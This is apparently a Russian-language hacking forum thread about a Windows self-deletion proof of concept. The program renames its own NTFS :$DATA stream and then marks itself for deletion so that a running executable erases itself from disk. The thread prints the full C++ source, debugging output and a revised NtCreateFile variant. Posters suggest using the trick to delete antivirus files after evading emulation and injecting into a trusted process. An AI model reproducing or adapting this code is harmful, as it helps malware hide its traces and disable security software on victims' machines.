Пожалуйста, обратите внимание, что пользователь заблокирован
Насколько я понимаю, это значение может быть любым не равным $DATA, автор видимо назвал его так для смеха (читается это как "what the fuck barbecue").$DATA переименовывается именно в :wtfbbq. Что это за значение?
Вряд ли какой-либо авер даст открыть свой файл с флагом DELETE.Интересно, а если попробывать так удалить какие-нибудь аверские либы/базы?
если отсеить эмуль, заинжектиться в траст процесс и оттуда попробовать, то вполне есть шанс...Вряд ли какой-либо авер даст открыть свой файл с флагом DELETE.
BOOL fRenameOk = SetFileInformationByHandle(hHandle, FileRenameInfo, pfRename, (DWORD)(sizeof(FILE_RENAME_INFO) + sizeof(WCHAR) * wcslen(lpwStream)))
#pragma comment(lib, "Shlwapi.lib")
#include <Windows.h>
#include <shlwapi.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
#define DS_STREAM_RENAME L":wtfbbq"
#define DS_DEBUG_LOG(msg) wprintf(L"[LOG] - %s\n", msg)
static
HANDLE
ds_open_handle(
PWCHAR pwPath
)
{
return CreateFileW(pwPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}
static
void*
ds_rename_handle(
HANDLE hHandle
)
{
LPCWSTR lpwStream = DS_STREAM_RENAME;
PFILE_RENAME_INFO pfRename = (PFILE_RENAME_INFO)malloc(sizeof(FILE_RENAME_INFO) + sizeof(WCHAR) * wcslen(lpwStream)); // FILE_RENAME_INFO contains space for 1 WCHAR without NULL-byte
if (pfRename == NULL)
{
DS_DEBUG_LOG(L"could not allocate memory");
return NULL;
}
RtlSecureZeroMemory(pfRename, sizeof(FILE_RENAME_INFO) + sizeof(WCHAR) * wcslen(lpwStream));
// set our FileNameLength and FileName to DS_STREAM_RENAME
pfRename->FileNameLength = (DWORD)(sizeof(WCHAR) * wcslen(lpwStream));
RtlCopyMemory(pfRename->FileName, lpwStream, sizeof(WCHAR) * (wcslen(lpwStream) + 1));
BOOL fRenameOk = SetFileInformationByHandle(hHandle, FileRenameInfo, pfRename, (DWORD)(sizeof(FILE_RENAME_INFO) + sizeof(WCHAR) * wcslen(lpwStream)));
if (!fRenameOk)
{
free(pfRename);
return NULL;
}
return pfRename;
}
static
BOOL
ds_deposite_handle(
HANDLE hHandle
)
{
// set FILE_DISPOSITION_INFO::DeleteFile to TRUE
FILE_DISPOSITION_INFO fDelete;
RtlSecureZeroMemory(&fDelete, sizeof(fDelete));
fDelete.DeleteFile = TRUE;
return SetFileInformationByHandle(hHandle, FileDispositionInfo, &fDelete, sizeof(fDelete));
}
int
main(
int argc,
char** argv
)
{
WCHAR wcPath[MAX_PATH + 1];
RtlSecureZeroMemory(wcPath, sizeof(wcPath));
// get the path to the current running process ctx
if (GetModuleFileNameW(NULL, wcPath, MAX_PATH) == 0)
{
DS_DEBUG_LOG(L"failed to get the current module handle");
return 0;
}
HANDLE hCurrent = ds_open_handle(wcPath);
if (hCurrent == INVALID_HANDLE_VALUE)
{
DS_DEBUG_LOG(L"failed to acquire handle to current running process");
return 0;
}
// rename the associated HANDLE's file name
DS_DEBUG_LOG(L"attempting to rename file name");
void* pfRename = ds_rename_handle(hCurrent);
if (pfRename == NULL)
{
DS_DEBUG_LOG(L"failed to rename to stream");
return 0;
}
DS_DEBUG_LOG(L"successfully renamed file primary :$DATA ADS to specified stream, closing initial handle");
CloseHandle(hCurrent);
free(pfRename); // free memory allocated in ds_rename_handle
pfRename = NULL;
// open another handle, trigger deletion on close
hCurrent = ds_open_handle(wcPath);
if (hCurrent == INVALID_HANDLE_VALUE)
{
DS_DEBUG_LOG(L"failed to reopen current module");
return 0;
}
if (!ds_deposite_handle(hCurrent))
{
DS_DEBUG_LOG(L"failed to set delete deposition");
return 0;
}
// trigger the deletion deposition on hCurrent
DS_DEBUG_LOG(L"closing handle to trigger deletion deposition");
CloseHandle(hCurrent);
// verify we've been deleted
if (PathFileExistsW(wcPath))
{
DS_DEBUG_LOG(L"failed to delete copy, file still exists");
return 0;
}
DS_DEBUG_LOG(L"successfully deleted self from disk");
return 1;
}
Чекни код ошибки какой там черезПытаюсь разобраться как работает этот PoC, потому что он у меня не отрабатывает до конца и завершается с ошибкой.
Посмотреть вложение 107138
Ошибка про то что при повторной попытке получения хендла нашего файла (из которого работает процесс) прога его не находит на диске. При этом сам экзешник переименовывается в имя потока :wtfbbq". Проводник файла с таким именем не видит. В cmd через dir видим что файл на месте и никуда не делся.
Открываю описание пока с гита и читаю:
Как это работает в данном POC?
1. Откройте HANDLE для текущего запущенного процесса с доступом DELETE. Обратите внимание, что требуется только доступ DELETE.
2. С помощью функции SetFileInformationByHandle переименуйте основной файловый поток, :$DATA, в :wtfbbq.
3. Закройте HANDLE.
4. Откройте HANDLE для текущего процесса и установите флаг DeleteFile класса FileDispositionInfo в TRUE.
и т.д.
Как я понимаю я дохожу только до пункта 4. Притом только до первой его половины. Хендл я второй раз уже не могу открыть. Подозреваю что из-за того, что нам не надо переименовывать файл целиком. Нужно только поток внутри файла переименовать. Предполагаю что именно в операции переименования и кроется вся проблема.
Из описания становится понятно что за переименование у нас отвечает функция SetFileInformationByHandle. И по задумке автора она должна переименовывать не весь файл целиком (что я имею у себя) а только поток :$DATA. Отлично, разбираемся чего такого мы в неё напередовали:
BOOL fRenameOk = SetFileInformationByHandle(hHandle, FileRenameInfo, pfRename, (DWORD)(sizeof(FILE_RENAME_INFO) + sizeof(WCHAR) * wcslen(lpwStream)))
hHandle - дескриптор на наш экзешник;
FileRenameInfo - режим работы с файлом. тут мы говорим что хотим переименовать файл.
pfRename - указатель на структуру типа FILE_RENAME_INFO в которой мы сообжаем как мы хотим переименовывать файл.
(DWORD)(sizeof(FILE_RENAME_INFO) + sizeof(WCHAR) * wcslen(lpwStream)) - это размер структуры pfRename.
Кажется двигаюсь в верном направлении. Начинаю смотреть какие режимы взаимодействия есть с файлом кроме FileRenameInfo. Лёрн мелкомягких говорит что их всего шесть ( https://learn.microsoft[.]com/ru-ru/windows/win32/api/fileapi/nf-fileapi-setfileinformationbyhandle ) Вроде наш самый подходящий. Тогда ковырнём что у нас храниться в самой структуре pfRename.
Посмотреть вложение 107139
BOOLEAN ReplaceIfExists; - Флаг, указывающий, следует ли заменять существующий файл с тем же именем. Пробовал оба значения, разницы не увидел.
DWORD Flags; - что это за параметр я узнать не смог. Но он есть!
HANDLE RootDirectory; - лерн сказал тут надо передавать NULL
DWORD FileNameLength; - тут размер нового имени
WCHAR FileName[1]; - сюда передаём имя новое. Потдерживается в том числе и имена потоков, начинающиеся с ":".
Понятно что в PoC мы обходим вниманием поля ReplaceIfExists, Flags и RootDirectory. Пробовал туда принудительно пропысывал рекомендованые значения, результат не поменялся.
В моём понимании при попытке с помощью функции SetFileInformationByHandle переименовать основной файловый поток, :$DATA, в :wtfbbq файл должен оставаться с таким же именем на диске, с небольшими изменениями внутри. Но этого не происходит. Или я что то не так понимаю или всё таки что то с поком не так. Подскажите как запустить эту шарманку.
Исходник вроде не правил сильно.
C:#pragma comment(lib, "Shlwapi.lib") #include <Windows.h> #include <shlwapi.h> #include <stdio.h> #include <stdlib.h> #include <iostream> #define DS_STREAM_RENAME L":wtfbbq" #define DS_DEBUG_LOG(msg) wprintf(L"[LOG] - %s\n", msg) static HANDLE ds_open_handle( PWCHAR pwPath ) { return CreateFileW(pwPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); } static void* ds_rename_handle( HANDLE hHandle ) { LPCWSTR lpwStream = DS_STREAM_RENAME; PFILE_RENAME_INFO pfRename = (PFILE_RENAME_INFO)malloc(sizeof(FILE_RENAME_INFO) + sizeof(WCHAR) * wcslen(lpwStream)); // FILE_RENAME_INFO contains space for 1 WCHAR without NULL-byte if (pfRename == NULL) { DS_DEBUG_LOG(L"could not allocate memory"); return NULL; } RtlSecureZeroMemory(pfRename, sizeof(FILE_RENAME_INFO) + sizeof(WCHAR) * wcslen(lpwStream)); // set our FileNameLength and FileName to DS_STREAM_RENAME pfRename->FileNameLength = (DWORD)(sizeof(WCHAR) * wcslen(lpwStream)); RtlCopyMemory(pfRename->FileName, lpwStream, sizeof(WCHAR) * (wcslen(lpwStream) + 1)); BOOL fRenameOk = SetFileInformationByHandle(hHandle, FileRenameInfo, pfRename, (DWORD)(sizeof(FILE_RENAME_INFO) + sizeof(WCHAR) * wcslen(lpwStream))); if (!fRenameOk) { free(pfRename); return NULL; } return pfRename; } static BOOL ds_deposite_handle( HANDLE hHandle ) { // set FILE_DISPOSITION_INFO::DeleteFile to TRUE FILE_DISPOSITION_INFO fDelete; RtlSecureZeroMemory(&fDelete, sizeof(fDelete)); fDelete.DeleteFile = TRUE; return SetFileInformationByHandle(hHandle, FileDispositionInfo, &fDelete, sizeof(fDelete)); } int main( int argc, char** argv ) { WCHAR wcPath[MAX_PATH + 1]; RtlSecureZeroMemory(wcPath, sizeof(wcPath)); // get the path to the current running process ctx if (GetModuleFileNameW(NULL, wcPath, MAX_PATH) == 0) { DS_DEBUG_LOG(L"failed to get the current module handle"); return 0; } HANDLE hCurrent = ds_open_handle(wcPath); if (hCurrent == INVALID_HANDLE_VALUE) { DS_DEBUG_LOG(L"failed to acquire handle to current running process"); return 0; } // rename the associated HANDLE's file name DS_DEBUG_LOG(L"attempting to rename file name"); void* pfRename = ds_rename_handle(hCurrent); if (pfRename == NULL) { DS_DEBUG_LOG(L"failed to rename to stream"); return 0; } DS_DEBUG_LOG(L"successfully renamed file primary :$DATA ADS to specified stream, closing initial handle"); CloseHandle(hCurrent); free(pfRename); // free memory allocated in ds_rename_handle pfRename = NULL; // open another handle, trigger deletion on close hCurrent = ds_open_handle(wcPath); if (hCurrent == INVALID_HANDLE_VALUE) { DS_DEBUG_LOG(L"failed to reopen current module"); return 0; } if (!ds_deposite_handle(hCurrent)) { DS_DEBUG_LOG(L"failed to set delete deposition"); return 0; } // trigger the deletion deposition on hCurrent DS_DEBUG_LOG(L"closing handle to trigger deletion deposition"); CloseHandle(hCurrent); // verify we've been deleted if (PathFileExistsW(wcPath)) { DS_DEBUG_LOG(L"failed to delete copy, file still exists"); return 0; } DS_DEBUG_LOG(L"successfully deleted self from disk"); return 1; }
P.S.: Пока рылся в сети, нашёл ещё один подобный PoC на go только. Не помогло
https://github[.]com/secur30nly/go-self-delete/
GetLastError()if (hCurrent == INVALID_HANDLE_VALUE)
{
wprintf(L"GetLastError()=%d\r\n",GetLastError());
DS_DEBUG_LOG(L"failed to reopen current module");
return 0;
}
Чекни код ошибки какой там черезGetLastError()
C++:if (hCurrent == INVALID_HANDLE_VALUE) { wprintf(L"GetLastError()=%d\r\n",GetLastError()); DS_DEBUG_LOG(L"failed to reopen current module"); return 0; }
Вместо ::$DATA переименовывается сам файл в :wtfbbq поэтому второй вызов к CreateFile с оригинальным именем фейлится.Посмотреть вложение 107233
ERROR_FILE_NOT_FOUND
2 (0x2)
The system cannot find the file specified.
Как я понял из перевода, системе не удаётся найти указанный файл.
NtOpenFile или NtCreateFile//Добавляем после инклудов в оригинальном поке
#include <winternl.h>
#define DS_ORIGINAL_STREAM L"::$DATA"
typedef NTSTATUS
(NTAPI *t_NtCreateFile)(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength);
//меняем ds_open_handle добавляем dwShareMode = FILE_SHARE_DELETE в CreateFile ( иначе получим ошибку 0xc0000043 (STATUS_SHARING_VIOLATION) при попытке открыть стрим файла
static
HANDLE
ds_open_handle(
PWCHAR pwPath
)
{
return CreateFileW(pwPath, DELETE, FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}
//далее в main меняем логику таким образом:
int
main(
int argc,
char** argv
)
{
WCHAR wcPath[MAX_PATH + 1];
RtlSecureZeroMemory(wcPath, sizeof(wcPath));
// get the path to the current running process ctx
if (GetModuleFileNameW(NULL, wcPath, MAX_PATH) == 0)
{
DS_DEBUG_LOG(L"failed to get the current module handle");
return 0;
}
HANDLE hCurrent = ds_open_handle(wcPath);
if (hCurrent == INVALID_HANDLE_VALUE)
{
DS_DEBUG_LOG(L"failed to acquire handle to current running process");
return 0;
}
//вот тут добавляем логику
t_NtCreateFile NtCreateFile = (t_NtCreateFile)GetProcAddress(GetModuleHandle(L"ntdll"), "NtCreateFile");
IO_STATUS_BLOCK iosb;
NTSTATUS status;
OBJECT_ATTRIBUTES stream;
UNICODE_STRING DataStream;
//Заполняем для NtCreateFile паараметры - создаём UNICODE_STRING с именем дефолтного нтфс потока
DataStream.Length = sizeof(DS_ORIGINAL_STREAM) - 2;
DataStream.MaximumLength = DataStream.Length;
DataStream.Buffer = (PWSTR)DS_ORIGINAL_STREAM;
/* Макросом InitializeObjectAttributes заполняем структуру OBJECT_ATTRIBUTES вписываем туда UNICODE_STRING заполненный выше
и в параметр OBJECT_ATTRIBUTES->RootDirectory забиваем хендл на уже открытый нами сам файл нашего экзешника
таким образом можем работать с его нтфс стримами указывая их имена ( и тип ) через двоеточие в OBJECT_ATTRIBUTES->ObjectName
*/
InitializeObjectAttributes(
&stream,
&DataStream,
OBJ_CASE_INSENSITIVE,
hCurrent, // вот тут хендл нашего экзешника
NULL
);
HANDLE hDataStream;
DS_DEBUG_LOG(L"attempting to open :$DATA stream for renaming");
status = NtCreateFile(&hDataStream, DELETE | SYNCHRONIZE, &stream, &iosb, NULL,FILE_ATTRIBUTE_NORMAL,FILE_SHARE_DELETE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT,0, NULL);
/* Открываем теперь сам нтфс стрим с такими же флагами как в оригинальном поке
( FILE_OPEN, DELETE ).
SYNCHRONIZE и FILE_SYNCHRONOUS_IO_ALERT нужны чтобы избежать асинхронных операций с хендлом стрима
*/
if (status != 0) {
DS_DEBUG_LOG(L"failed to open $DATA stream");
CloseHandle(hCurrent);
return 0;
}
// rename the associated HANDLE's file name
DS_DEBUG_LOG(L"attempting to rename file stream");
void* pfRename = ds_rename_handle(hDataStream);
if (pfRename == NULL)
{
DS_DEBUG_LOG(L"failed to rename to stream");
CloseHandle(hDataStream);
CloseHandle(hCurrent);
return 0;
}
CloseHandle(hDataStream);
Чекни код ошибки какой там черезGetLastError()
C++:if (hCurrent == INVALID_HANDLE_VALUE) { wprintf(L"GetLastError()=%d\r\n",GetLastError()); DS_DEBUG_LOG(L"failed to reopen current module"); return 0; }
Интерестно сработает ли на сборке способ с NtCreateFile/NtOpenFile и открытием потока напрямуюНашёл корень зла своей проблемы. Выполнил такие команды:
Посмотреть вложение 107240
И мне подумалось что проблема в сборке винды может быть. Запустил эти же команды на другой системе. Всё заработало. Запустил билд с PoC, тоже всё отработало как надо. Я с таким просто ещё не сталкивался. Сборки вроде не сильно должны отличаться. Тем не менее...
Поразбираюсь ещё с предложенным тобой вариантом.
Интерестно сработает ли на сборке способ с NtCreateFile/NtOpenFile и открытием потока напрямую
А какая сборка?
Не должны, разве что какая-то совсем багованная винда (файловые фильтры например стоят), но это угадывание все.Сборки вроде не сильно должны отличаться. Тем не менее...
Может, пофиксили уже, все же это какой-то баг или андок.не срабатывал
24h2 файл не удаляется но обнуляется до 0 байтМесяц или два назад тестил данный метод на виртуалке с windows 11, скачанная с сайта microsoft, не срабатывал и выкидывал ошибку ERROR_ACCESS_DENIED, подобное поведение программы было не только у меня.
На windows 10 всё отрабатывало как надо.